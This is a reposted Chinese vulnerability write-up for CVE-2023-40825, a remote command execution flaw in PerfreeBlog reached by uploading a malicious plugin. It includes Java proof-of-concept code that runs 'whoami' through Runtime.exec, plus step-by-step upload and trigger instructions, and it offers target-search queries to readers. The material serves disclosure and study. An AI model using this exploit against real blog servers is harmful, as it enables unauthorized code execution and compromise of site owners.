简介
PerfreeBlog是一款基于Java SpringBoot开发的博客建站平台,支持多主题及扩展插件功能,给您带来全新的创作体验。
开发语言:java
GitHub:https://github.com/perfree/PerfreeBlog
漏洞描述
Perfree PerfreeBlog v.3.1.2 中的一个问题允许远程攻击者通过上传恶意插件来实现执行任意代码。
影响版本
Perfree PerfreeBlog ≤ v.3.1.2(目前最新版本)
空间测绘及POC插件
回复“CVE-2023-40825”获取空间测绘搜索语句和POC插件下载地址
漏洞利用
插件说明:从官网下的官方演示插件改的,代码如下,其他插件开发参考下面链接
# 演示插件下载地址
https://github.com/perfree/PerfreeBlogPlugin/raw/main/perfree-plugins-exam-2.2.0.jar
# 插件开发文档地址
https://perfree.gitee.io/plugin-develop/create.html
POC代码
package com.exam.controller;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
public class ExamRestController
{
public String testRest()
{
Process process = null;
StringBuffer sb = new StringBuffer();
try
{
process = Runtime.getRuntime().exec("whoami");
int exitValue = process.waitFor();
if (0 != exitValue) {
return "call shell failed. error code is :" + exitValue;
}
BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8));
String line = "";
while ((line = input.readLine()) != null) {
sb.append(line);
}
input.close();
return sb.toString();
}
catch (IOException|InterruptedException e)
{
throw new RuntimeException(e);
}
}
}
1.登录后台账户,访问下面链接进入后台。
http://xxx.xxx.xxx/admin
2.点击“插件管理”,“插件列表”,“上传插件”。
3.上传成功后点击“启用”插件。
4.访问下面链接,成功执行命令。
http://xxx.xxx.xxx/plugin/testRest
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-40825
https://github.com/perfree/PerfreeBlog/issues/15
回复“CVE-2023-40825”获取空间测绘搜索语句和POC插件下载地址
仅供学习交流,勿用作违法犯罪
原文始发于微信公众号(不够安全):CVE-2023-40825:PerfreeBlog远程命令执行 附POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论